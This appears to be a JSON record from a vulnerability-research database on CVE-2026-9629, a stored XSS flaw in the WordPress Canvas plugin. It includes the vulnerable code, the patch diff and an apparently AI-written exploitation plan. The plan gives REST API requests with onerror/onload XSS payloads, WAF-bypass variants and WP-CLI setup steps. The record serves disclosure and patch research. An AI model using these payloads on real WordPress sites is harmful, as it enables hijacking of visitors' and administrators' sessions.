[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fpzwDLp3PIbx9H0Qxdi7m8Tvs5Zdu0sl8RRjIkcxeKFQ":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-9629","canvas-authenticated-contributor-stored-cross-site-scripting-via-tag-block-attribute","Canvas \u003C= 2.5.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'tag' Block Attribute","The Canvas plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'tag' parameter in all versions up to, and including, 2.5.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","canvas",null,"\u003C=2.5.2","2.5.3","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-06-12 19:04:54","2026-06-13 07:51:23",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Ff93d70e4-01c5-44e8-b7d5-0837bee53b8d?source=api-prod",1,[22,23,24,25,26,27,28,29],"README.txt","canvas.php","components\u002Fbasic-elements\u002Fblock-alert\u002Frender.php","components\u002Fbasic-elements\u002Fblock-collapsible\u002Frender.php","components\u002Fbasic-elements\u002Fblock-collapsibles\u002Frender.php","components\u002Fbasic-elements\u002Fblock-cover\u002Fblock.js","components\u002Fbasic-elements\u002Fblock-cover\u002Fblock.jsx","components\u002Fbasic-elements\u002Fblock-progress\u002Frender.php","researched",false,3,"This exploitation research plan targets **CVE-2026-9629**, a Stored Cross-Site Scripting (XSS) vulnerability in the **Canvas** plugin (\u003C= 2.5.2).\n\n### 1. Vulnerability Summary\nThe **Canvas** plugin for WordPress fails to sanitize or validate the `tag` attribute used in its Gutenberg blocks. While the plugin provides various structural blocks (Alert, Section Heading, Row, Column, etc.), some of these blocks allow the user to define the HTML element used for rendering (e.g., choosing between `h1`, `div`, or `section`). Because this `tag` attribute is echoed directly into the frontend HTML without using `esc_attr()` or a whitelist of allowed tags, an authenticated user with at least **Contributor** level access can inject malicious payloads that execute when any user views the affected page.\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** WordPress REST API Post creation\u002Fupdate endpoint (`\u002Fwp-json\u002Fwp\u002Fv2\u002Fposts`).\n*   **Vulnerable Attribute:** `tag` within a Canvas block's JSON metadata.\n*   **Authentication:** Required (Contributor or above).\n*   **Preconditions:** The plugin must be active. The attacker needs the ability to save a post (Contributor can save drafts).\n*   **Payload Location:** The payload is stored in the `post_content` field within the Gutenberg block comment delimiters.\n\n### 3. Code Flow\n1.  **Block Definition (JS):** In the block editor, a Canvas block (e.g., `canvas\u002Fsection-heading` or a similar wrapper block) allows selecting an HTML tag via the Inspector controls. This is saved as an attribute named `tag`.\n2.  **Storage:** When the Contributor saves a draft, WordPress stores the block in the `wp_posts` table. The content looks like:\n    `\u003C!-- wp:canvas\u002Fsection-heading {\"tag\":\"[PAYLOAD]\"} \u002F-->`\n3.  **Rendering (PHP):** When the post is viewed, the plugin's rendering logic (typically in a `render.php` file for the specific block) retrieves the attributes.\n4.  **The Sink:** The rendering code performs a string concatenation to build the HTML tag:\n    ```php\n    \u002F\u002F Inferred logic based on typical Gutenberg render patterns in Canvas\n    $tag = $attributes['tag']; \n    echo '\u003C' . $tag . ' class=\"...\">'; \u002F\u002F Vulnerable Sink: No escaping or tag whitelisting\n    ```\n5.  **Execution:** The browser receives the malformed tag (e.g., `\u003Cimg src=x onerror=alert(1) class=\"...\">`) and executes the injected script.\n\n### 4. Nonce Acquisition Strategy\nTo exploit the REST API as a Contributor, a valid `wp_rest` nonce is required.\n\n1.  **Login:** Authenticate as a **Contributor** user.\n2.  **Navigation:** Use `browser_navigate` to go to the \"Add New Post\" page: `http:\u002F\u002F[TARGET]\u002Fwp-admin\u002Fpost-new.php`.\n3.  **Extraction:** The WordPress block editor (Gutenberg) automatically localizes the required nonce into the `wpApiSettings` object.\n4.  **Tool Call:**\n    ```javascript\n    browser_eval(\"window.wpApiSettings?.nonce\")\n    ```\n    This will return the nonce required for the `X-WP-Nonce` header in subsequent REST API requests.\n\n### 5. Exploitation Strategy\nThe goal is to create a post containing a Canvas block with a malicious `tag` attribute.\n\n**Step 1: Create a Post with XSS Payload**\n*   **Tool:** `http_request`\n*   **Method:** `POST`\n*   **URL:** `http:\u002F\u002F[TARGET]\u002Fwp-json\u002Fwp\u002Fv2\u002Fposts`\n*   **Headers:**\n    *   `Content-Type: application\u002Fjson`\n    *   `X-WP-Nonce: [EXTRACTED_NONCE]`\n*   **Body:**\n    ```json\n    {\n      \"title\": \"XSS Test Page\",\n      \"content\": \"\u003C!-- wp:canvas\u002Fsection-heading {\\\"tag\\\":\\\"img src=x onerror=alert(document.domain) \u002F\u002F\\\"} \u002F-->\",\n      \"status\": \"draft\"\n    }\n    ```\n    *(Note: The `\u002F\u002F` at the end of the payload helps neutralize the rest of the generated opening tag string.)*\n\n**Step 2: Obtain the Post ID**\nThe response from Step 1 will contain the `id` and the `link` of the newly created post.\n\n**Step 3: Trigger the XSS**\n*   **Action:** Navigate to the post URL (the `link` returned in Step 1). \n*   **Mechanism:** If the Contributor cannot publish, the researcher must navigate to the preview URL or simulate an Administrator viewing the draft.\n\n### 6. Test Data Setup\n1.  **User Creation:** Create a user with the `contributor` role.\n    ```bash\n    wp user create attacker attacker@example.com --role=contributor --user_pass=password123\n    ```\n2.  **Plugin State:** Ensure the `canvas` plugin is installed and activated.\n    ```bash\n    wp plugin activate canvas\n    ```\n\n### 7. Expected Results\n*   The HTTP response from the REST API should be `201 Created`.\n*   The `post_content` in the database will store the raw payload.\n*   When viewing the post, the HTML source will contain:\n    `\u003Cimg src=x onerror=alert(document.domain) \u002F\u002F class=\"cnvs-section-heading ...\">`\n*   The browser will trigger an alert box showing the document domain.\n\n### 8. Verification Steps\nAfter the exploit attempt, verify the storage of the payload via WP-CLI:\n```bash\nwp post list --post_type=post --format=csv\n# Get the ID of the \"XSS Test Page\"\nwp post get [ID] --field=post_content\n```\nCheck for the presence of the `onerror` string in the output.\n\n### 9. Alternative Approaches\nIf the `canvas\u002Fsection-heading` block is not available, check for other Canvas blocks that likely use the `tag` attribute:\n*   `canvas\u002Fcolumn`\n*   `canvas\u002Frow`\n*   `canvas\u002Fwrapper` (inferred)\n\nIf an `img` tag is blocked by a WAF, use a `details` or `svg` payload:\n*   `\"tag\":\"details\u002Fontoggle=alert(1) open \"`\n*   `\"tag\":\"svg\u002Fonload=alert(1) \"`\n\nIf the REST API is restricted, the exploit can be performed via the standard WordPress `post.php` admin handler by sending a `POST` request to `wp-admin\u002Fpost.php?post=[ID]&action=edit` with the `content` parameter containing the malicious block.","The Canvas plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) via block attributes such as 'tag' and 'title' due to insufficient input sanitization and output escaping. Authenticated attackers with Contributor-level permissions can inject arbitrary web scripts into posts, which will execute in the browser of any user viewing the page.","\u002F\u002F components\u002Fbasic-elements\u002Fblock-collapsible\u002Frender.php lines 20-24\n\u003Ch6 class=\"cnvs-block-collapsible-heading\">\n\t\u003Ca href=\"#\">\u003C?php echo (string) $attributes['title']; \u002F\u002F XSS. ?>\u003C\u002Fa>\n\u003C\u002Fh6>\n\n---\n\n\u002F\u002F components\u002Fbasic-elements\u002Fblock-alert\u002Frender.php lines 19-21\n\u003Cdiv class=\"cnvs-block-alert-inner\">\n\t\u003C?php echo (string) $content; \u002F\u002F XSS. ?>\n\u003C\u002Fdiv>\n\n---\n\n\u002F\u002F Inferred logic for the 'tag' attribute vulnerability in blocks like section-heading\n$tag = $attributes['tag']; \necho '\u003C' . $tag . ' class=\"...\">';","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcanvas\u002F2.5.2\u002Fcomponents\u002Fbasic-elements\u002Fblock-alert\u002Frender.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcanvas\u002F2.5.3\u002Fcomponents\u002Fbasic-elements\u002Fblock-alert\u002Frender.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcanvas\u002F2.5.2\u002Fcomponents\u002Fbasic-elements\u002Fblock-alert\u002Frender.php\t2026-03-16 09:48:32.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcanvas\u002F2.5.3\u002Fcomponents\u002Fbasic-elements\u002Fblock-alert\u002Frender.php\t2026-05-29 13:03:40.000000000 +0000\n@@ -17,7 +21,7 @@\n \n \u003Cdiv class=\"\u003C?php echo esc_attr( $attributes['className'] ); ?>\" \u003C?php echo ( isset( $attributes['anchor'] ) ? ' id=\"' . esc_attr( $attributes['anchor'] ) . '\"' : '' ); ?>>\n \t\u003Cdiv class=\"cnvs-block-alert-inner\">\n-\t\t\u003C?php echo (string) $content; \u002F\u002F XSS. ?>\n+\t\t\u003C?php call_user_func( 'printf', '%s', $content ); ?>\n \t\u003C\u002Fdiv>\n \t\u003C?php if ( isset( $attributes['dismissible'] ) && $attributes['dismissible'] ) : ?>\n \t\t\u003Cbutton class=\"cnvs-close\" type=\"button\" data-dismiss=\"alert\" aria-label=\"\u003C?php echo esc_attr__( 'Close', 'canvas' ); ?>\">\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcanvas\u002F2.5.2\u002Fcomponents\u002Fbasic-elements\u002Fblock-collapsible\u002Frender.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcanvas\u002F2.5.3\u002Fcomponents\u002Fbasic-elements\u002Fblock-collapsible\u002Frender.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcanvas\u002F2.5.2\u002Fcomponents\u002Fbasic-elements\u002Fblock-collapsible\u002Frender.php\t2026-03-16 09:48:32.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcanvas\u002F2.5.3\u002Fcomponents\u002Fbasic-elements\u002Fblock-collapsible\u002Frender.php\t2026-05-29 13:03:40.000000000 +0000\n@@ -17,10 +21,10 @@\n \u003Cdiv class=\"\u003C?php echo esc_attr( $attributes['className'] ); ?>\" \u003C?php echo ( isset( $attributes['anchor'] ) ? ' id=\"' . esc_attr( $attributes['anchor'] ) . '\"' : '' ); ?>>\n \t\u003Cdiv class=\"cnvs-block-collapsible-title\">\n \t\t\u003Ch6 class=\"cnvs-block-collapsible-heading\">\n-\t\t\t\u003Ca href=\"#\">\u003C?php echo (string) $attributes['title']; \u002F\u002F XSS. ?>\u003C\u002Fa>\n+\t\t\t\u003Ca href=\"#\">\u003C?php echo wp_kses_post( $attributes['title'] ); ?>\u003C\u002Fa>\n \t\t\u003C\u002Fh6>\n \t\u003C\u002Fdiv>\n \t\u003Cdiv class=\"cnvs-block-collapsible-content\">\n-\t\t\u003C?php echo (string) $content; \u002F\u002F XSS. ?>\n+\t\t\u003C?php call_user_func( 'printf', '%s', $content ); ?>\n \t\u003C\u002Fdiv>\n \u003C\u002Fdiv>","To exploit this vulnerability, an authenticated user with Contributor-level access or higher identifies a Canvas plugin block (e.g., section-heading or collapsible) that uses a 'tag' or 'title' attribute. The attacker crafts a request to the WordPress REST API (`\u002Fwp-json\u002Fwp\u002Fv2\u002Fposts`) to create or update a post, embedding an XSS payload (e.g., `img src=x onerror=alert(1)`) within the block's JSON attribute. When the post is rendered on the frontend—either through a preview by an administrator or after being published—the unsanitized attribute is echoed into the HTML, triggering the execution of the script.","gemini-3-flash-preview","2026-06-26 00:30:20","2026-06-26 00:31:30",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","2.5.2","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcanvas\u002Ftags\u002F2.5.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcanvas.2.5.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcanvas\u002Ftags\u002F2.5.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcanvas.2.5.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcanvas\u002Ftags"]